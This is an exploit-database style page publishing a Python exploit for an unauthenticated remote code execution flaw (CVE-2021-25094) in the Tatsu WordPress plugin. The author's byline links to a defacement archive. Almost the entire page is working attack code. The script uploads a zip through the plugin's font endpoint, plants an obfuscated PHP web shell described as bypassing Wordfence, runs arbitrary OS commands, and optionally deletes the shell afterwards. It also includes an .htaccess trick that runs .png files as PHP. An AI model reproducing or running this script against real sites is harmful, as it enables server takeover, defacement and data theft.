Tatsu 3.3.11 – Unauthenticated RCE

• CVE-2021-25094

Exploit Title:Tatsu 3.3.11 – Unauthenticated RCE Date: 2025-04-16 Exploit Author: Milad Karimi (Ex3ptionaL) Contact: [email protected] Zone-H: www.zone-h.org/archive/notifier=Ex3ptionaL…

# Exploit Title:Tatsu 3.3.11 – Unauthenticated RCE

# Date: 2025-04-16

# Exploit Author: Milad Karimi (Ex3ptionaL)

# Contact: [email protected]

# Zone-H: www.zone-h.org/archive/notifier=Ex3ptionaL

# MiRROR-H: https://mirror-h.org/search/hacker/49626/

# Product: Tatsu wordpress plugin <= 3.3.11
# CVE: CVE-2021-25094

# URL: https://tatsubuilder.com/

import sys

import requests

import argparse

import urllib3

import threading

import time

import base64

import queue

import io

import os

import zipfile

import string

import random

from datetime import datetime

urllib3.disable_warnings()

class HTTPCaller():

def __init__(self, url, headers, proxies, cmd):

self.url = url

self.headers = headers

self.proxies = proxies

self.cmd = cmd

self.encodedCmd = base64.b64encode(cmd.encode(“utf8”))

self.zipname = None

self.shellFilename = None

if self.url[-1] == ‘/’:

self.url = self.url[:-1]

if proxies:

self.proxies = {“http” : proxies, “https” : proxies}

else:

self.proxies = {}

def generateZip(self, compressionLevel, technique, customShell, keep):

buffer = io.BytesIO()

with zipfile.ZipFile(buffer, “w”, zipfile.ZIP_DEFLATED, False,

compressionLevel) as zipFile:

if technique == “custom” and customShell and os.path.isfile(customShell):

with open(customShell) as f:

shell = f.readlines()

shell = “\n”.join(shell)

self.shellFilename = os.path.basename(customShell)

if self.shellFilename[0] != “.”:

self.shellFilename = “.” + self.shellFilename

zipFile.writestr(self.shellFilename, shell)

elif technique == “php”:

# a lazy obfuscated shell, basic bypass Wordfence

# i would change base64 encoding for something better

shell = “ shell += “$f = \”lmeyst\”;”

shell += “@$a= $f[4].$f[3].$f[4].$f[5].$f[2].$f[1];”

shell += “@$words = array(base64_decode($_POST[‘text’]));”

shell += “$j=\”array\”.\”_\”.\”filter\”;”

shell += “@$filtered_words = $j($words, $a);”

if not keep:

shell += “@unlink(__FILE__);”

self.shellFilename = “.” +

(”.join(random.choice(string.ascii_lowercase) for i in range(5))) + “.php”

zipFile.writestr(self.shellFilename, shell)

elif technique.startswith(“htaccess”):

# requires AllowOverride All in the apache config file

shell = “AddType application/x-httpd-php .png\n”

zipFile.writestr(“.htaccess”, shell)

shell = “ shell += “$f = \”lmeyst\”;”

shell += “@$a= $f[4].$f[3].$f[4].$f[5].$f[2].$f[1];”

shell += “@$words = array(base64_decode($_POST[‘text’]));”

shell += “$j=\”array\”.\”_\”.\”filter\”;”

shell += “@$filtered_words = $j($words, $a);”

if not keep:

shell += “@unlink(‘.’+’h’+’t’+’a’+’cc’+’e’+’ss’);”

shell += “@unlink(__FILE__);”

self.shellFilename = “.” +

(”.join(random.choice(string.ascii_lowercase) for i in range(5))) + “.png”

zipFile.writestr(self.shellFilename, shell)

else:

print(“Error: unknow shell technique %s” % technique)

sys.exit(1)

self.zipname = ”.join(random.choice(string.ascii_lowercase) for i in

range(3))

self.zipFile = buffer

def getShellUrl(self):

return “%s/wp-content/uploads/typehub/custom/%s/%s” % (self.url,

self.zipname, self.shellFilename)

def executeCmd(self):

return requests.post(url = self.getShellUrl(), data = {“text”:

self.encodedCmd}, headers = self.headers, proxies = self.proxies,

verify=False)

def upload(self):

url = “%s/wp-admin/admin-ajax.php” % self.url

files = {“file”: (“%s.zip” % self.zipname, self.zipFile.getvalue())}

return requests.post(url = url, data = {“action”: “add_custom_font”},

files = files, headers = self.headers, proxies = self.proxies, verify=False)

def main():

description = “|=== Tatsudo: pre-auth RCE exploit for Tatsu wordpress

plugin <= 3.3.8\n"
description += “|=== CVE-2021-25094 / Vincent MICHEL (@darkpills)”

print(description)

print(“”)

parser = argparse.ArgumentParser()

parser.add_argument(“url”, help=”Wordpress vulnerable URL (example:

https://mywordpress.com/)”)

parser.add_argument(“cmd”, help=”OS command to execute”)

parser.add_argument(‘–technique’, help=”Shell technique: php | htaccess |

custom”, default=”php”)

parser.add_argument(‘–customShell’, help=”Provide a custom PHP shell file

that will take a base64 cmd as $_POST[‘text’] input”)

parser.add_argument(‘–keep’, help=”Do not auto-destruct the uploaded PHP

shell”, default=False, type=bool)

parser.add_argument(‘–proxy’, help=”Specify and use an HTTP proxy

(example: http://localhost:8080)”)

parser.add_argument(‘–compressionLevel’, help=”Compression level of the

zip file (0 to 9, default 9)”, default=9, type=int)

args = parser.parse_args()

# Use web browser-like header

headers = {

“X-Requested-With”: “XMLHttpRequest”,

“Origin”: args.url,

“Referer”: args.url,

“User-Agent”: “Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML,

like Gecko) Chrome/90.0.4430.212 Safari/537.36″,

“Accept”: “*/*”,

“Accept-Language”: “en-US,en;q=0.9”

}

caller = HTTPCaller(args.url, headers, args.proxy, args.cmd)

print(“[+] Generating a zip with shell technique ‘%s'” % args.technique)

caller.generateZip(args.compressionLevel, args.technique,

args.customShell, args.keep)

print(“[+] Uploading zip archive to

%s/wp-admin/admin-ajax.php?action=add_custom_font” % (args.url))

r = caller.upload()

if (r.status_code != 200 or not r.text.startswith(‘{“status”:”success”‘)):

print(“[!] Got an unexpected HTTP response: %d with content:\n%s” %

(r.status_code, r.text))

print(“[!] Exploit failed!”)

sys.exit(1)

print(“[+] Upload OK”)

print(“[+] Trigger shell at %s” % caller.getShellUrl())

r = caller.executeCmd()

if (r.status_code != 200):

print(“[!] Got an unexpected HTTP response: %d with content:\n%s” %

(r.status_code, r.text))

print(“[!] Exploit failed!”)

sys.exit(1)

print(“[+] Exploit success!”)

print(r.text)

if args.keep:

print(“[+] Call it with:”)

print(‘curl -X POST -d”text=$(echo “{0}” | base64 -w0)”

{1}’.format(args.cmd, caller.getShellUrl()))

else:

print(“[+] Shell file has been auto-deleted but parent directory will

remain on the webserver”)

print(“[+] Job done”)

if __name__ == ‘__main__’:

main()